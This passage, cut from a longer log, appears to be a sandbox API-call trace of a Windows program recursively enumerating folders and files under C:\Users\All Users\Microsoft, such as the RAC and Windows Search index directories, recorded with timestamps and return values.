lpMsg=0x18f8d4) returned 0 [0092.285] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*.*") returned="*.*" [0092.285] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0092.285] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="" [0092.285] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.285] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.285] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.286] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\*.*") returned="*.*" [0092.286] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.286] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.287] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\*.*") returned="*.*" [0092.287] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x212700, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x212700, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.287] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.287] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.288] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*.*") returned="*.*" [0092.288] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\" [0092.288] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\") returned="" [0092.288] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.288] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\*.*") returned="*.*" [0092.288] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x212700, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x212700, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.289] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.289] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.289] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*.*") returned="*.*" [0092.289] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" [0092.289] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\") returned="" [0092.289] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.289] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="RacDatabase.sdf" [0092.289] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" [0092.289] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\") returned="" [0092.290] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\*.*") returned="*.*" [0092.290] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x212700, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x212700, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.290] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.290] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.290] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*.*") returned="*.*" [0092.290] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\" [0092.290] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\") returned="" [0092.290] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.290] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\sqlAABF.tmp") returned="sqlAABF.tmp" [0092.291] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\" [0092.291] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\") returned="" [0092.291] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\*.*") returned="*.*" [0092.291] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0092.291] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\*.*") returned="*.*" [0092.291] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0092.291] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*.*") returned="*.*" [0092.291] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.292] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*.*") returned="*.*" [0092.292] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f6f40, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2f6f40, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.292] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*.*") returned="*.*" [0092.292] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.293] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*.*") returned="*.*" [0092.293] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.293] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*.*") returned="*.*" [0092.293] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x238860, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x238860, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0092.293] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0092.293] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0092.293] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*.*") returned="*.*" [0092.293] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" [0092.293] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="" [0092.294] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0092.294] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl") returned="SystemIndex.1.Crwl" [0092.294] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" [0092.294] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="" [0092.294] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.294] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.294] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*.*") returned="*.*" [0092.294] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0092.294] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="" [0092.295] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.295] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.chk") returned="MSS.chk" [0092.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0092.295] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="" [0092.295] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.295] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log") returned="MSS.log" [0092.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0092.295] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="" [0092.295] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0092.295] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs") returned="MSSres00001.jrs" [0092.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0092.295] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="" [0092.296] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs") returned="MSSres00002.jrs" [0092.296] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f220, dwReserved1=0x4fa58c, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.296] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*.*") returned="*.*" [0092.296] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0092.296] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\*.*") returned="*.*" [0092.296] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0092.297] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\*.*") returned="*.*" [0092.297] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29958860, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x238860, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x238860, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0092.297] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.297] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\*.*") returned="*.*" [0092.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.297] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.297] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.297] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.000") returned="CiAB0001.000" [0092.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.297] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.298] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.298] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.001") returned="CiAB0001.001" [0092.298] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.298] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="" [0092.298] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0092.298] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\CiAB0001.002") returned="CiAB0001.002" [0092.298] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" [0092.298] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex\\Indexer\\CiFiles\\") 